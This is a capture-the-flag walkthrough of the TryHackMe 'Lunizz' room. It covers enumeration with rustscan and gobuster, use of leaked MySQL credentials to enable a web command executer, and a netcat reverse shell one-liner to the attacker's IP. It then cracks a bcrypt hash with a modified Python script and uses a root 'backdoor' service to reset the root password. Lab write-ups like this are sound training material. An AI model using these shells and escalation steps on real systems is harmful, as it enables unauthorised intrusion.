TryHackMe: Lunizz CTF

TryHackMe: Luinizz CTF by kral4

Enumeration

Add to /etc/hosts and run our trusty old rustscan

╰─⠠⠵ rustscan -a lunizz --ulimit 10000 -- -sC -sV -oA lunizz -A -v
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/tj/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.162.77:22
Open 10.10.162.77:80
Open 10.10.162.77:4444
Open 10.10.162.77:5000
Open 10.10.162.77:3306
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-01 19:44 GMT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.00s elapsed
Initiating Ping Scan at 19:44
Scanning 10.10.162.77 [2 ports]
Completed Ping Scan at 19:44, 0.03s elapsed (1 total hosts)
Initiating Connect Scan at 19:44
Scanning lunizz (10.10.162.77) [5 ports]
Discovered open port 22/tcp on 10.10.162.77
Discovered open port 3306/tcp on 10.10.162.77
Discovered open port 80/tcp on 10.10.162.77
Discovered open port 4444/tcp on 10.10.162.77
Discovered open port 5000/tcp on 10.10.162.77
Completed Connect Scan at 19:44, 0.03s elapsed (5 total ports)
Initiating Service scan at 19:44
Scanning 5 services on lunizz (10.10.162.77)
Completed Service scan at 19:44, 6.11s elapsed (5 services on 1 host)
NSE: Script scanning 10.10.162.77.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 5.28s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.73s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.00s elapsed
Nmap scan report for lunizz (10.10.162.77)
Host is up, received syn-ack (0.033s latency).
Scanned at 2021-03-01 19:44:03 GMT for 12s

PORT     STATE SERVICE    REASON  VERSION
22/tcp   open  ssh        syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f8:08:db:be:ed:80:d1:ef:a4:b0:a9:e8:2d:e2:dc:ee (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQ6tpIF+vVAr4XW2jvHXaX311/qtXWgA/XJsPs4e1sAEDV9x9qQb6d6YTUECsJVg7r/HLuK4U3Bn5tco9Aa4cfij07qlbby08K8ByOrCFHeOJreYVqjsCBMdOo29GC83hOH8IzCo99pONcuviuPtRXion4PURNZPkdiMjhJv0ugruICXvqvNuXCtb7o4cF+OGNx7vGzllSrBJoNW6dA3+bhwE+ktZ14Ezbycb4CzbGoKXC+SKqt+82VrwpC4F9B3JPsSs6dkutSW1Zs0mtBYynv4dXzi3/dyY89jNedHOzwlIsOOTPfMhDQ9Qu6LpixmbpTTKnAlW+6gVAo21pwWlZ
|   256 79:01:d6:df:8b:0a:6e:ad:b7:d8:59:9a:94:0a:09:7a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBTbAWLeWIuaAVyErImxGlw4qYC6DkIkhWx6m84sgWaNBG5dhXu96NpywKz3Qr/lq2y53WN0RufLUlmQGhJ2QMA=
|   256 b1:a9:ef:bb:7e:5b:01:cd:4c:8e:6b:bf:56:5d:a7:f4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRqrXXIaHRlVe9pndYgXYOQLkggzjJoC6ZToAWWHeUH
80/tcp   open  http       syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open  mysql      syn-ack MySQL 5.7.32-0ubuntu0.18.04.1
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.32-0ubuntu0.18.04.1
|   Thread ID: 5
|   Capabilities flags: 65535
|   Some Capabilities: Speaks41ProtocolOld, FoundRows, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsTransactions, ConnectWithDatabase, SupportsLoadDataLocal, SupportsCompression, Support41Auth, SwitchToSSLAfterHandshake, DontAllowDatabaseTableColumn, LongPassword, InteractiveClient, IgnoreSigpipes, Speaks41ProtocolNew, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: i:ZH\x12\x061Q@c\x17z\x03VXQ\x058\x0Ca
|_  Auth Plugin Name: mysql_native_password
| ssl-cert: Subject: commonName=MySQL_Server_5.7.32_Auto_Generated_Server_Certificate
| Issuer: commonName=MySQL_Server_5.7.32_Auto_Generated_CA_Certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-12-10T19:29:01
| Not valid after:  2030-12-08T19:29:01
| MD5:   1dd1 d145 b3aa d2c4 6652 764c 0cbd 3bbd
| SHA-1: 183a eca2 02d3 982a 72a1 15d6 973b 6eb1 5cae 6e6c
| -----BEGIN CERTIFICATE-----
| MIIDBzCCAe+gAwIBAgIBAjANBgkqhkiG9w0BAQsFADA8MTowOAYDVQQDDDFNeVNR
| TF9TZXJ2ZXJfNS43LjMyX0F1dG9fR2VuZXJhdGVkX0NBX0NlcnRpZmljYXRlMB4X
| DTIwMTIxMDE5MjkwMVoXDTMwMTIwODE5MjkwMVowQDE+MDwGA1UEAww1TXlTUUxf
| U2VydmVyXzUuNy4zMl9BdXRvX0dlbmVyYXRlZF9TZXJ2ZXJfQ2VydGlmaWNhdGUw
| ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3dOQjVEiheXhdhZwnHxq4
| 9+mEE3PH4Qu6d9vDYjX08ZzIPRRC4uk70KVmd7LAjtgLIeuw0uNHFZGJ0tyGH05M
| FgBsbNpwBfKTiCaCdv+45sMcFAktoesNkhWxDJZfXm+j02kAq8FmKSG01q2b/EVR
| 21xmiyfAkGzUF00yFq+evPY38zDANHuXDL7ar4SVhzNcUcIWNbymVPz7ShTj1AKz
| NN2//xdKOTxwnOYTFVDDBZ9S+MwJXVlSbREg5iant1CldktC5C7olpGsIsyBJXDO
| O4fO0LaA0NLqkgggE2kH5WUhOJVeatSLnESa7inmiN3gs3YLEuNZDm4Q9SCul33r
| AgMBAAGjEDAOMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggEBAGpSusxJ
| qpmorCaIM+ILbP/e9P2eC/p5JbtZtT6kOhrHSLO5JMalq4r2SYCIcYdWc53KbE4O
| yvl9sFLsL7J0gOkrjXJquyjzcQEpC8EbrWiYgLHCCZUCR1ATwT/ZT4b1fZz2Og38
| BdNLMlRV5KRRTfvvTvNkax7wmrbUjrnnuYOc4JJpMR1HMGk3ZDpgn/GP0oBAsJuS
| S0bMSkdBXDGof4NDbvMBKNfhmld7BAOKn1vFSvwzsyLQvaLdJ6UExHNgsIb3BOMv
| AbkjXHlx2ciuMYTPG/T3gkf503ZCkXHfyiibqptuoKH6BbNp+omKHcKBFqx+b7NS
| SUxy89TgA5jAO44=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
4444/tcp open  tcpwrapped syn-ack
5000/tcp open  tcpwrapped syn-ack
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:44
Completed NSE at 19:44, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.81 seconds

22/ssh

No username or password so skip

80/http

Basic Apache2 page

4444/http

Base64 string seems to change with each refresh....

Can you decode this for me?
cEBzc3dvcmQ=
Wrong Password

5000/????

Looks like it could be some b0rk3d ssh server....

╰─⠠⠵ nc lunizz 5000
OpenSSH 5.1
Unable to load config info from /usr/local/ssl/openssl.cnf%     

3306/mysql

mysql, no username or password so skip

What is the default password for mysql

Ok, nothing obvious so lets break out gobuster on our standard http port.

╰─⠠⠵ gobuster dir -u http://lunizz.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://lunizz.local
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/03/01 19:50:23 Starting gobuster
===============================================================
Progress: 12355 / 220561 (5.60%)
/hidden (Status: 301)
/whatever (Status: 301)
/server-status (Status: 403)

/hidden

Tried a few different tricks here bit does not seem to be saving anything to disk that I can see.

/whatever

Looks like it should run commands entered, but does not ..... something to do with Command Executer Mode :0 ?

/server-status

Forbidden

HINT

admin forgot to delete a .txt file that contains credentials. can you find it

Ok, this points us to a text file so lets run gobuster with -x txt

╰─⠠⠵ gobuster dir -u http://lunizz.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt -t 40       
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://lunizz.local
[+] Threads:        40
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt
[+] Timeout:        10s
===============================================================
2021/03/01 20:05:54 Starting gobuster
===============================================================
/[REDACTED].txt (Status: 200)

Browsing to the file..

Made By CTF_SCRIPTS_CAVE (not real)

Thanks for installing our ctf script

#Steps
- Create a mysql user (runcheck:[REDACTED])
- Change necessary lines of config.php file

Done you can start using ctf script

#Notes
please do not use default creds (IT'S DANGEROUS) <<<<<<<<<---------------------------- READ THIS LINE PLEASE

I can't run commands, there must be a mysql column that controls command executer

Ok, so now we have a username:password let's connect over mysql

╰─⠠⠵ mysql -u runcheck -p[REDACTED] -h lunizz
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 16
Server version: 5.7.32-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| runornot           |
+--------------------+
2 rows in set (0.060 sec)

MySQL [(none)]> use runornot;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [runornot]> show tables;
+--------------------+
| Tables_in_runornot |
+--------------------+
| runcheck           |
+--------------------+
1 row in set (0.040 sec)

MySQL [runornot]> select * from runcheck
    -> ;
+-------------+
| [REDACTED]  |
+-------------+
|           0 |
+-------------+
1 row in set (0.049 sec)

Answer: column name ***

a folder shouldn't be...

Now we are in the DB lets flip the value to 1

MySQL [runornot]> update runcheck set [REDACTED] = 1;
Query OK, 1 row affected (0.034 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MySQL [runornot]> select * from runcheck;
+-------------+
| [REDACTED]  |
+-------------+
|           1 |
+-------------+
1 row in set (0.052 sec)

Let's head back over to /whatever and try a command

We now have remote code execution, so lets get a reverse shell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {IP-ADDRESS} 4444 >/tmp/f

╰─⠠⠵ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.5.198] from (UNKNOWN) [10.10.162.77] 33458
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@lunizz:/var/www/html/whatever$ export TERM=xterm
export TERM=xterm
www-data@lunizz:/var/www/html/whatever$ ^Z
[1]  + 5943 suspended  nc -lvnp 4444

╰─⠠⠵ stty raw -echo; fg
[1]  + 5943 continued  nc -lvnp 4444

www-data@lunizz:/var/www/html/whatever$ 
www-data@lunizz:/var/www/html/whatever$ 

Looking in / we see a directory that is not standard.

Answer: /*****

hi adam, do you remember our place?

Ok, looking around under /var/backups/.script we see the scripts that run on :4444 and :5000 but offer no joy. Looking under the folder in the above answer we have a pass directory that contains a python script bcrypt_encryption.py

import bcrypt
import base64

password = # https://www.youtube.com/watch?v=-tJYN-eG1zk&ab_channel=QueenOfficial
bpass = password.encode('ascii')
passed= str(base64.b64encode(bpass))
hashAndSalt = bcrypt.hashpw(passed.encode(), bcrypt.gensalt())
print(hashAndSalt)

salt = b'$2b$12$SVInH5XmuS3C7eQkmqa6UOM6sDIuumJPrvuiTr.Lbz3GCcUqdf.z6'
# I wrote this code last year and i didnt save password verify line... I need to find my password

The Youtube link is to Queen - We Will Rock You (Official Video) which gives us a hint to rockyou.txt, lets copy the hash out and try john..

╰─⠠⠵ john --format=bcrypt hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

This does not seem to get us anywhere as the script adds a salt.......

Looks like we need to do some reversing of the python script..... modified script

#!/usr/bin/env python3
import bcrypt
import base64
import sys

salt   = b'$2b$12$SVInH5XmuS3C7eQkmqa6UO'
mypass = b'$2b$12$SVInH5XmuS3C7eQkmqa6UOM6sDIuumJPrvuiTr.Lbz3GCcUqdf.z6'

line = sys.argv[1]
bpass = line.strip().encode('ascii')
passed= str(base64.b64encode(bpass))
hashAndSalt = bcrypt.hashpw(passed.encode(), salt)
print("Password {}".format(line.strip()))

if ( hashAndSalt == mypass ):
    print(hashAndSalt)
    print("Password {}".format(line.strip()))
    print("============================FOUND========================")
    input("dirty quit for while loop")

Pythin is not my strong suit so had to borrow this from sanz write-up. I tweaked it to use a command line argument to get past some issues of it crashing out on some entries....

Then ran while read password; do ./script.py $password ; done < /usr/share/wordlists/rockyou.txt to loop through rockyou.txt

Due to how far this password is in rockyou.txt it can take an absolute age to actually get the password

Password ........
Password ........
Password ........
Password ........
b'$2b$12$SVInH5XmuS3C7eQkmqa6UOM6sDIuumJPrvuiTr.Lbz3GCcUqdf.z6'
Password [REDACTED]
============================FOUND========================
dirty quit for while loop

Now we can use su - adam and the password found to become adam. From here we see a binary runasmason, again wasted some time here playing with it...

In the end I ended up running a find command to looks for files owned by adam

adam@lunizz:~$ find / -user adam 2>/dev/null | grep -v "/proc/"
/proct/pass/bcrypt_encryption.py
/home/adam
/home/adam/.bashrc
/home/adam/.viminfo
/home/adam/Desktop
/home/adam/Desktop/.archive
/home/adam/Desktop/.archive/to_my_best_friend_adam.txt
/home/adam/.bash_logout
/home/adam/.profile
/home/adam/Downloads
/home/adam/Downloads/empty_file
/home/adam/Documents

Taking a look inside /home/adam/Desktop/.archive/to_my_best_friend_adam.txt we get

do you remember our place 
i love there it's soo calming
i will make that ***** my password

--

https://www.google.com/maps/[REDACTED]

Following the google link we get to a place, it's not the Lake but what you see in the sky...

Answer: ....... ......

user.txt

Using the hint i will make that ***** my password we take the answer above and create a word list that we can enumerate through to find the correct format for mason.

adam@lunizz:~$ su - mason
Password: 
mason@lunizz:~$ cat user.txt 
thm{[REDACTED]}

root.txt

Now that we have mason's password we can take a look at the service listening on 127.0.0.1:8080 which I spotted when looking around the box.

mason@lunizz:~$ curl http://127.0.0.1:8080
**********************************************************
*                Mason's Root Backdoor                   *
*                                                        *
*   Please Send Request (with "password" and "cmdtype")  *
*                                                        *
**********************************************************
-------------CMD TYPES-------------
lsla
reboot
passwd

Sending the password with lsla

mason@lunizz:~$ curl http://127.0.0.1:8080 -X POST -d "password=[REDACTED]&cmdtype=lsla"
total 44
drwx------  6 root root 4096 Dec 10 19:58 .
drwxr-xr-x 25 root root 4096 Dec 14 04:53 ..
lrwxrwxrwx  1 root root    9 Dec 10 19:53 .bash_history -> /dev/null
-rw-r--r--  1 root root 3771 Dec 10 19:15 .bashrc
drwx------  3 root root 4096 Dec 10 20:13 .cache
drwx------  3 root root 4096 Dec 10 19:15 .gnupg
-rw-r--r--  1 root root  794 Dec  8 16:39 index.php
drwxr-xr-x  3 root root 4096 Dec 10 19:14 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   37 Dec  8 16:56 root.txt
-rw-r--r--  1 root root   66 Dec 10 19:35 .selected_editor
drwx------  2 root root 4096 Dec 10 19:09 .ssh
**********************************************************
*                Mason's Root Backdoor                   *
*                                                        *
*   Please Send Request (with "password" and "cmdtype")  *
*                                                        *
**********************************************************
-------------CMD TYPES-------------
lsla
reboot
passwd

I tried a couple of command injections but they did not work. I skipped reboot as I do not want to reboot the server and tried passwd

mason@lunizz:~$ curl http://127.0.0.1:8080 -X POST -d "password=[REDACTED]&cmdtype=passwd"
<br>Password Changed To :[REDACTED]<br>**********************************************************
*                Mason's Root Backdoor                   *
*                                                        *
*   Please Send Request (with "password" and "cmdtype")  *
*                                                        *
**********************************************************
-------------CMD TYPES-------------
lsla
reboot
passwd

Hmmm, <br>Password Changed To :[REDACTED]<br>, who's password ? Roots ?

mason@lunizz:~$ su -
Password: 
root@lunizz:~#

BOOM, we are in as root, looking at the index.php there was no command injection ...

root@lunizz:~# cat index.php 
<?php
if ($_SERVER['REQUEST_METHOD'] == "POST") {
        if (isset($_POST['password']) and $_POST['password'] == "[REDACTED]") {
                if (isset($_POST['cmdtype'])) {
                        if ($_POST['cmdtype'] == "passwd") { system("echo -n '[REDACTED]\n[REDACTED]' | passwd"); echo "<br>Password Changed To :[REDACTED]<br>"; }
                        if ($_POST['cmdtype'] == "lsla") { system("ls -al /root"); }
                        if ($_POST['cmdtype'] == "reboot") { system("reboot"); }
                }
        } else {
                echo "Wrong Password [your place ;)]!! \n";
        }
}
?>
**********************************************************
*                Mason's Root Backdoor                   *
*                                                        *
*   Please Send Request (with "password" and "cmdtype")  *
*                                                        *
**********************************************************
-------------CMD TYPES-------------
lsla
reboot
passwd

Anyway we can read the root.txt and get our flag!

root@lunizz:~# cat root.txt 
thm{[REDACTED]}

Done !!!

What a pain in the backside that one was, cracking the password for adam took sooooo loooonnnngggggg. A grep -n "*password*" /usr/share/wordlists/rockyou.txt shows that the password is more than 7 million into the rockyou.txt file :(